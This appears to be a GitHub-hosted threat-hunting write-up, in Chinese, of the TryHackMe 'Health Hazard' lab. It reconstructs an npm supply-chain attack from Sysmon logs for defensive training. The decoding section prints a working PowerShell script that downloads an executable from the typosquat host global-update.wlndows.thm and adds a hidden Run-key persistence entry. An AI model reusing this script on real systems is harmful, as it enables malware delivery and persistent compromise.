Prajwal-Manjunath/Threat-Hunting-Simulation-Lab
GitHub: Prajwal-Manjunath/Threat-Hunting-Simulation-Lab
一份基于 TryHackMe 平台的威胁狩猎实验报告,详细记录了针对 npm 恶意包供应链攻击的完整调查过程,涵盖从初始访问到持久化实现的攻击链还原。
Stars: 0 | Forks: 0
# 🔍 威胁狩猎报告 - Health Hazard
## **平台:** TryHackMe - TryDetectThis
**类别:** 威胁狩猎 / DFIR
## 目标
我们得到了一个场景,其中来自 TryDetectThis Intelligence 的威胁情报识别出了一场针对开源生态系统(特别是 npm 和 Python 包仓库)的协同供应链攻击活动。
作为威胁猎人,我的任务是在 TryGovMe 环境中开展全面的狩猎会话,以:
- ✅ 验证狩猎假设
- ✅ 审查来自外部来源的 IOC
- 🔄 重建完整的攻击链
- 🔄 确定事件的影响范围
- 🔄 生成最终的威胁狩猎报告
## 了解背景
### 场景描述
一位名叫 Tom 的联合创始人正在搭建公司的第一个网站。他按照一篇教程安装了一些 npm 包,随后系统中出现了一个奇怪的文件——没有人放置过它,它不匹配任何依赖项,也没有运行。它只是在等待。
### 假设
这对应了我们所狩猎的三个 MITRE ATT&CK 战术:
| 战术 | 技术 | 描述 |
|---|---|---|
| 初始访问 | T1195.002 | 供应链妥协 |
| 执行 | T1059.001 | PowerShell |
| 持久化 | T1547.001 | 注册表运行键 |
### IOC 告诉我的信息(在我进行搜索之前)
在接触 SIEM 之前,提供的 IOC 已经准确指明了需要寻找的内容:
**基于主机的 IOC:**
| 类型 | 值 |
|---|---|
| 恶意 npm 包 | `healthchk-lib@1.0.1` |
| 触发机制 | `package.json` 中的 `postinstall` 钩子 |
| 执行的进程 | `powershell.exe -NoP -W Hidden -EncodedCommand` |
| 下载的文件 | `%APPDATA%\SystemHealthUpdater.exe` |
| 持久化位置 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` |
| 持久化键值 | `Windows Update Monitor` |
**基于网络的 IOC:**
| 类型 | 值 |
|---|---|
| 下载 URL | `http://global-update.wlndows.thm/SystemHealthUpdater.exe` |
| 主机名 | `global-update.wlndows.thm` |
| 协议 / 端口 | HTTP / 端口 80 |
**搜索前的关键观察:** 域名 `wlndows.thm` 是 `windows` 的一个仿冒域名,旨在乍一看显得合法。这是攻击者故意使用的防御规避技术。
阅读 IOC 让我们在运行任何查询之前就了解了可能的攻击流程:
1. Tom 运行了 `npm install healthchk-lib@1.0.1`
2. `postinstall` 钩子自动触发
3. PowerShell 使用编码命令在隐藏状态下运行
4. 它从仿冒域名下载了 `SystemHealthUpdater.exe`
5. 写入注册表运行键以实现持久化
## 调查过程
### 使用的工具
**Splunk SIEM** 日志来源:`WinEventLog:Microsoft-Windows-Sysmon/Operational`
### 什么是 Sysmon 以及它为何重要?
Sysmon(系统监视器)是一项 Windows 服务,用于记录详细的进程活动。我重点狩猎的关键事件代码:
| 事件代码 | 含义 |
|---|---|
| 1 | 进程创建 |
| 3 | 网络连接 |
| 11 | 文件在磁盘上创建 |
| 13 | 注册表值设置 |
### 如何阅读 Sysmon 日志
每一条 Sysmon EventCode 1 日志都会告诉你四件事:
```
Image = WHAT process ran
CommandLine = EXACTLY how it was launched
ParentImage = WHO launched it
ParentCommandLine = HOW the parent launched it
```
这就是构建进程树的方法,而进程树正是你重建攻击链的方式。
### 阶段 1 查询:初始访问
**搜索:**
```
index=* "healthchk-lib"
```
这个广泛的搜索旨在查找所有日志中提及该恶意包的任何记录。
## 调查结果 - 阶段 1:初始访问与执行
### 我们的发现
四条 Sysmon 日志记录讲述了初始访问的完整故事。以下是每条日志的详细解析:
#### 日志 1 - `10:58:24` | EventCode 1 | npm install 运行
| 字段 | 值 |
|---|---|
| EventCode | 1 (进程创建) |
| Image | `C:\Program Files\nodejs\node.exe` |
| CommandLine | `node.exe npm-cli.js install healthchk-lib@1.0.1` |
| ParentImage | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` |
**这告诉了我们:**
Tom 自己打开了 PowerShell(他的合法终端)并运行了 `npm install healthchk-lib@1.0.1`。这就是初始访问的时刻——Tom 在不知情的情况下安装了恶意包。接下来发生的一切都在他不知情的情况下自动进行。
#### 日志 2 - `10:58:27` | EventCode 11 | 恶意脚本被写入磁盘
| 字段 | 值 |
|---|---|
| EventCode | 11 (文件创建) |
| Image | `C:\Program Files\nodejs\node.exe` |
| TargetFilename | `C:\Development\node_modules\healthchk-lib\scripts\postinstall.ps1` |
**这告诉了我们:**
作为 npm install 过程的一部分,node.exe 解压并将 `postinstall.ps1` 写入磁盘。一个合法的健康检查库没有任何理由在任何地方写入 PowerShell 脚本。这个文件出现在磁盘上本身就是一个危险信号。
#### 日志 3 - `10:58:27` | EventCode 1 | cmd.exe 被 node.exe 衍生
| 字段 | 值 |
|---|---|
| EventCode | 1 (进程创建) |
| Image | `C:\Windows\System32\cmd.exe` |
| ParentImage | `C:\Program Files\nodejs\node.exe` |
| ParentCommandLine | `node.exe npm-cli.js install healthchk-lib@1.0.1` |
**这告诉了我们:**
node.exe 自动衍生了 cmd.exe。Tom 并没有手动打开 cmd.exe——这是恶意包 `package.json` 中的 `postinstall` 钩子在后台静默触发。Tom 什么也没看到。
#### 日志 4 - `10:58:27` | EventCode 1 | 隐藏的 PowerShell 被衍生
| 字段 | 值 |
|---|---|
| EventCode | 1 (进程创建) |
| Image | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` |
| CommandLine | `powershell.exe -NoP -W Hidden -EncodedCommand ` |
| ParentImage | `C:\Windows\System32\cmd.exe` |
| ParentCommandLine | `cmd.exe /d /s /c powershell.exe -NoP -W Hidden -EncodedCommand` |
**这告诉了我们:**
cmd.exe 使用编码命令启动了一个隐藏的 PowerShell 实例。所使用的标志是故意的防御规避手段:
| 标志 | 含义 |
|---|---|
| `-NoP` | No Profile:不加载 PowerShell 配置文件,更快更隐蔽 |
| `-W Hidden` | Hidden window:不显示可见的终端窗口 |
| `-EncodedCommand` | 命令采用 Base64 编码:对日志混淆了真实意图 |
父进程 cmd.exe 命令中的 `/c` 标志意味着 cmd.exe 被指示运行 PowerShell 后立即退出,因此 cmd.exe 会迅速消失并留下更少的痕迹。
### 进程树 (阶段 1)
```
Tom's PowerShell ← Tom did this intentionally
↓
node.exe ← Legitimate (npm install)
↓
cmd.exe ← SUSPICIOUS (postinstall hook fired)
↓
powershell.exe ← MALICIOUS (hidden, encoded command)
-NoP -W Hidden
-EncodedCommand
```
**关键分析师洞察:**
`node.exe → cmd.exe → powershell.exe -W Hidden -EncodedCommand` 不是正常行为。合法软件不会衍生带有编码命令的隐藏 PowerShell。仅凭这种父子关系就足以触发一条检测规则。
### 假设验证 - 阶段 1
| 假设组成部分 | 状态 | 证据 |
|---|---|---|
| 受损的第三方包被用于初始访问 | ✅ 已确认 | `healthchk-lib@1.0.1` postinstall 钩子在安装时触发 |
| 初始访问之后的恶意执行 | ✅ 已确认 | node.exe 衍生了带有编码命令的隐藏 PowerShell |
## 调查结果 - 阶段 2:执行
### 使用的查询
```
index=* "global-update.wlndows.thm"
```
### 我们的发现
#### 日志 5 - `10:58:29` | EventCode 22 | 对仿冒域名的 DNS 查询
| 字段 | 值 |
|---|---|
| EventCode | 22 (DNS 查询) |
| Image | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` |
| QueryName | `global-update.wlndows.thm` |
| QueryResults | `::ffff:127.0.0.1` |
| ProcessGuid | `{c5d2b969-9053-6856-e701-000000002a01}` |
**这告诉了我们:**
在恶意 PowerShell 衍生两秒钟后,它发起了一次 DNS 查询来解析 `global-update.wlndows.thm`——这正是我们 IOC 中的仿冒域名。这是 PowerShell 的 `Invoke-WebRequest` 试图下载 `SystemHealthUpdater.exe`。ProcessGuid 与日志 4 中的隐藏 PowerShell 相匹配,直接将此网络活动与恶意进程联系起来。
该域名解析为 `127.0.0.1` (localhost) 是因为这是一个实验室环境。在真实的攻击中,它会解析为互联网上受攻击者控制的服务器。
### 解码恶意脚本
来自日志 4 的 Base64 编码命令使用 CyberChef(From Base64 → Decode UTF-16LE)进行了解码。完整的解码脚本:
```
$dest = "$env:APPDATA\SystemHealthUpdater.exe"
$url = "http://global-update.wlndows.thm/SystemHealthUpdater.exe"
# 下载文件
Invoke-WebRequest -Uri $url -OutFile $dest
# Base64 编码命令
$encoded = [Convert]::ToBase64String(
[Text.Encoding]::Unicode.GetBytes("Start-Process '$dest'")
)
# 构建持久化命令
$runCmd = 'powershell.exe -NoP -W Hidden -EncodedCommand ' + $encoded
# 添加到注册表以实现持久化
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' `
-Name 'Windows Update Monitor' -Value $runCmd
```
**每个部分的作用:**
| 部分 | 代码 | 作用 |
|---|---|---|
| 1 | `$dest` / `$url` | 设置下载目标和源 URL |
| 2 | `Invoke-WebRequest` | 静默下载 `SystemHealthUpdater.exe` 到 AppData |
| 3 | `$encoded` / `$runCmd` | 构建一个新的隐藏 PowerShell 命令来启动该 exe |
| 4 | `Set-ItemProperty` | 将该命令写入注册表运行键以实现持久化 |
该脚本在单次执行中同时处理了执行**和**持久化。一个 PowerShell 进程完成了三个恶意操作。
## 调查结果 阶段 3:持久化
### 使用的查询
```
index=* "Windows Update Monitor"
```
### 我们的发现
#### 日志 6 - `10:58:29` | EventCode 13 | 注册表运行键被写入
| 字段 | 值 |
|---|---|
| EventCode | 13 (注册表值设置) |
| Image | `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` |
| TargetObject | `HKU\S-1-5-21-...\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Monitor` |
| Details | `powershell.exe -NoP -W Hidden -EncodedCommand ` |
| RuleName | `T1060,RunKey` |
| ProcessGuid | `{c5d2b969-9053-6856-e701-000000002a01}` |
**这告诉了我们:**
恶意 PowerShell 写入了一个名为 `Windows Update Monitor` 的注册表运行键——这个名称是故意设计的,以混入合法的 Windows 进程。每次 Tom 登录 Windows 时,此键都会静默触发一个隐藏的 PowerShell 命令,从他的 AppData 文件夹启动 `SystemHealthUpdater.exe`。
`Details` 字段包含另一个 Base64 编码的命令,解码后为:
```
Start-Process 'C:\Users\Administrator\AppData\Roaming\SystemHealthUpdater.exe'
```
注意,Sysmon 本身使用 `RuleName: T1060,RunKey` 对此进行了标记,确认这是一种已在检测规则集中映射的已知持久化技术。
**关键关联观察:**
日志 4、5 和 6 中的 `ProcessGuid` 是相同的——`{c5d2b969-9053-6856-e701-000000002a01}`。一个单一的恶意 PowerShell 进程负责了编码执行、DNS 查询和注册表持久化写入。这是将整个执行阶段串联起来的线索。
## ✅ 最终攻击链
```
[10:58:24] Tom opens PowerShell and runs npm install healthchk-lib@1.0.1
↓
[10:58:27] node.exe writes postinstall.ps1 to disk
C:\Development\node_modules\healthchk-lib\scripts\postinstall.ps1
↓
[10:58:27] node.exe spawns cmd.exe via postinstall hook
Tom sees nothing — happens silently in the background
↓
[10:58:27] cmd.exe spawns powershell.exe -NoP -W Hidden -EncodedCommand
Hidden window, no profile, Base64 obfuscated payload
↓
[10:58:29] PowerShell makes DNS query to global-update.wlndows.thm
Attempts to download SystemHealthUpdater.exe to %APPDATA%
↓
[10:58:29] PowerShell writes registry Run key
HKCU\...\Run\Windows Update Monitor
Value: powershell.exe -NoP -W Hidden -EncodedCommand
↓
[Every login] SystemHealthUpdater.exe launches silently
Attacker maintains persistent access to Tom's machine
```
## ✅ 最终假设验证
攻击者在 npm 包 `healthchk-lib@1.0.1` 中嵌入了一个恶意的 `postinstall` 钩子。当 Tom 运行 `npm install` 时,该钩子自动执行了一个隐藏的 PowerShell 命令,该命令从仿冒域名下载了有效载荷,并通过注册表运行键建立了持久化;而 Tom 除了执行常规的包安装之外,无需进行任何其他操作。
## ✅ 范围与受影响资产
| 资产 | 详情 |
|---|---|
| 受损主机 | `PAW-TOM` |
| 受影响用户 | `PAW-TOM\itadmin-tom` |
| 恶意包 | `healthchk-lib@1.0.1` |
| 暂存的有效载荷 | `%APPDATA%\SystemHealthUpdater.exe` |
| 持久化键 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Monitor` |
| 联系的 C2 域名 |global-update.wlndows.thm` |
| 攻击持续时间 | 所有活动在 5 秒内发生 (10:58:24 → 10:58:29) |
## MITRE ATT&CK 总结
| 战术 | 技术 ID | 技术名称 | 证据 |
|---|---|---|---|
| 初始访问 | T1195.002 | 供应链妥协 | `healthchk-lib@1.0.1` postinstall 钩子 |
| 执行 | T1059.001 | PowerShell | `powershell.exe -NoP -W Hidden -EncodedCommand` |
| 防御规避 | T1027 | 混淆的文件或信息 | 贯穿始终的 Base64 编码命令 |
| 命令与控制 | T1071.001 | Web 协议 | 通过端口 80 进行 HTTP 下载 |
| 持久化 | T1547.001 | 注册表运行键 / 启动文件夹 | `HKCU\...\Run\Windows Update Monitor` |
## 🔗 TryHackMe 公开总结
在此处查看官方的已完成模拟报告:
👉 [Health Hazard — 公开总结](https://tryhackme.com/threat-hunting-sim/public-summary/ca58db9a8263b31b377c5cf36f66257f837a4bc79fee04495bd970a958b0c0942b53ced27ca5d11d1efdc6ba1b4d1b33)
## *报告由 Prajwal Manjunath 撰写 | [GitHub](https://github.com/Prajwal-Manjunath) | [TryHackMe](https://tryhackme.com/p/KnightZeusDracobolt)*
*在 Claude (Anthropic) 作为教学分析师的指导下进行调查和记录。*
标签:AI合规, DAST, IOCs, IPv6, npm恶意包, OpenCanary, PowerShell, TryHackMe, 供应链攻击, 初始访问, 安全事件响应, 安全实验, 安全报告, 开源生态安全, 恶意软件分析, 数字取证与应急响应, 文档安全, 暗色界面, 注册表自启动, 漏洞分析, 网络安全, 路径探测, 隐私保护